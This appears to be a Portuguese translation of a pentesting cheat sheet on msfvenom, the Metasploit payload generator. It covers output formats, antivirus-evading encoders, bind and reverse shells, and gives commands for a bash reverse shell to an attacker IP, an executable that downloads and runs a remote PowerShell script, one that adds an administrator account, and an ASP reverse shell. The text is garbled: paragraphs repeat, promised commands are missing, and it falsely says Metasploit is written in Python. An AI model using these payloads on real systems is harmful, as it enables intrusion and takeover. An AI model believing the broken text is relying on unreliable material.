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O parâmetro `-p` ou `--payload` é usado para especificar o payload que será usado para gerar o shellcode. O Metasploit Framework oferece uma ampla variedade de payloads para escolher, incluindo payloads para diferentes sistemas operacionais e arquiteturas.
### `-f` ou `--format`
O parâmetro `-f` ou `--format` é usado para especificar o formato de saída do shellcode. O Metasploit Framework suporta vários formatos de saída, incluindo `c`, `python`, `ruby`, `raw`, `exe`, `elf`, `dll` e muitos outros.
### `-e` ou `--encoder`
O parâmetro `-e` ou `--encoder` é usado para especificar o encoder que será usado para ofuscar o payload. O Metasploit Framework oferece vários encoders para escolher, incluindo encoders que podem ajudar a evitar a detecção de antivírus.
### `-b` ou `--bad-chars`
O parâmetro `-b` ou `--bad-chars` é usado para especificar caracteres que não devem estar presentes no shellcode gerado. Isso é útil para evitar problemas de codificação que podem fazer com que o shellcode falhe.
O parâmetro `-a` ou `--arch` é usado para especificar a arquitetura do sistema de destino. O Metasploit Framework suporta várias arquiteturas, incluindo `x86`, `x64`, `armle`, `aarch64` e outras.
O parâmetro `-s` ou `--space` é usado para especificar o tamanho do espaço disponível para o shellcode. Isso é útil para garantir que o shellcode gerado caiba no espaço disponível na memória do sistema de destino.
Uma shell de ligação é uma técnica de invasão que permite que um invasor assuma o controle de um sistema remoto abrindo uma porta de escuta em um servidor e aguardando que uma conexão seja estabelecida. Quando a conexão é estabelecida, o invasor pode executar comandos no sistema remoto como se estivesse sentado na frente dele.
O Metasploit Framework fornece uma maneira fácil de criar uma shell de ligação usando o módulo `msfvenom`. O comando abaixo cria uma shell de ligação do Windows que se conecta à porta 4444:
Este comando cria um arquivo executável chamado `shell.exe` que, quando executado em um sistema Windows, abrirá uma porta de escuta na porta 4444 e aguardará uma conexão. O invasor pode então se conectar à porta usando uma ferramenta como o `netcat` e assumir o controle do sistema remoto.
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.0.100 LPORT=4444 -f raw > shell.sh
```
Este comando criará um payload que, quando executado no sistema de destino, se conectará ao endereço IP do atacante na porta especificada e permitirá que o invasor execute comandos arbitrários no sistema de destino. O payload será salvo em um arquivo chamado `shell.sh`.
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
Uma shell de ligação é uma técnica de invasão que permite que um invasor assuma o controle de um sistema remoto abrindo uma porta de escuta em um servidor e aguardando que uma conexão seja estabelecida. Quando a conexão é estabelecida, o invasor pode executar comandos no sistema remoto como se estivesse sentado na frente dele.
O Metasploit Framework fornece uma maneira fácil de criar uma shell de ligação usando o módulo `msfvenom`. O comando abaixo cria uma shell de ligação do Windows que se conecta à porta 4444:
Este comando cria um arquivo executável chamado `shell.exe` que, quando executado em um sistema Windows, abrirá uma porta de escuta na porta 4444 e aguardará uma conexão. O invasor pode então se conectar à porta usando uma ferramenta como o `netcat` e assumir o controle do sistema remoto.
O SunOS (também conhecido como Solaris) é um sistema operacional Unix desenvolvido pela Sun Microsystems, agora parte da Oracle Corporation. É amplamente utilizado em servidores corporativos e data centers. O Solaris é conhecido por sua segurança e estabilidade, o que o torna um alvo atraente para hackers que desejam comprometer sistemas de alto valor.
A shell de bind é uma técnica de invasão que permite ao invasor abrir um shell em uma porta específica do sistema alvo e aguardar que o alvo se conecte a essa porta para estabelecer uma conexão. Isso permite que o invasor assuma o controle do sistema alvo e execute comandos nele. O `msfvenom` pode ser usado para gerar payloads de shell de bind para várias arquiteturas e sistemas operacionais.
O payload ASP/x é um payload do Metasploit que permite a execução de um shell reverso em sistemas Windows que possuem o IIS (Internet Information Services) instalado. O shell reverso permite que um atacante obtenha acesso remoto ao sistema comprometido.
#### Sintaxe
A sintaxe básica do payload ASP/x é a seguinte:
```
msfvenom -p windows/shell_reverse_tcp LHOST=<attackerIP> LPORT=<attackerport> -f asp > shell.asp
```
#### Parâmetros
-`-p windows/shell_reverse_tcp`: especifica o payload a ser usado.
NodeJS é uma plataforma de desenvolvimento de software de código aberto que permite aos desenvolvedores criar aplicativos de rede escaláveis e de alta performance usando JavaScript. Ele é baseado no motor JavaScript V8 do Google Chrome e é executado em um ambiente de tempo de execução do lado do servidor. Com NodeJS, os desenvolvedores podem criar aplicativos de rede em tempo real, aplicativos de streaming de dados e aplicativos da web altamente escaláveis. Ele também é usado para criar ferramentas de linha de comando e scripts de automação.
O Perl é uma linguagem de script de alto nível que é usada principalmente para automação de tarefas e processamento de texto. O Metasploit Framework suporta a criação de cargas úteis em Perl usando o `msfvenom`. As cargas úteis em Perl são úteis para explorar vulnerabilidades em sistemas operacionais baseados em Unix. Para criar uma carga útil em Perl, use o seguinte comando:
Substitua `<attacker IP>` pelo endereço IP do atacante e `<attacker port>` pela porta que o atacante está ouvindo. O `<format>` pode ser qualquer formato suportado pelo `msfvenom`, como `raw`, `c`, `python`, `ruby`, `bash`, `exe`, `elf`, `dll`, `psh`, `jsp`, `war`, `asp`, `aspx`, `jsp`, `jspx`, `pl`, `pm`, `s`, `msi`, `hta`, `vba`, `vbs`, `hta-psh` ou `loop-vbs`. O `<output file>` é o nome do arquivo de saída que conterá a carga útil em Perl.
Python é uma linguagem de programação de alto nível, interpretada e orientada a objetos. É amplamente utilizada em hacking devido à sua facilidade de uso e grande quantidade de bibliotecas disponíveis. O Python pode ser usado para escrever scripts de automação, ferramentas de hacking e exploits. Além disso, muitas ferramentas de hacking populares, como o Metasploit Framework, são escritas em Python.
Bash é uma linguagem de script amplamente utilizada em sistemas operacionais baseados em Unix. É uma ferramenta poderosa para a automação de tarefas e pode ser usada para criar scripts de shell que executam várias tarefas, como gerenciamento de arquivos, instalação de pacotes e execução de comandos do sistema. O Bash também é uma ferramenta útil para hackers, pois pode ser usado para criar scripts de shell que automatizam tarefas de hacking, como a criação de payloads do Metasploit usando o msfvenom.
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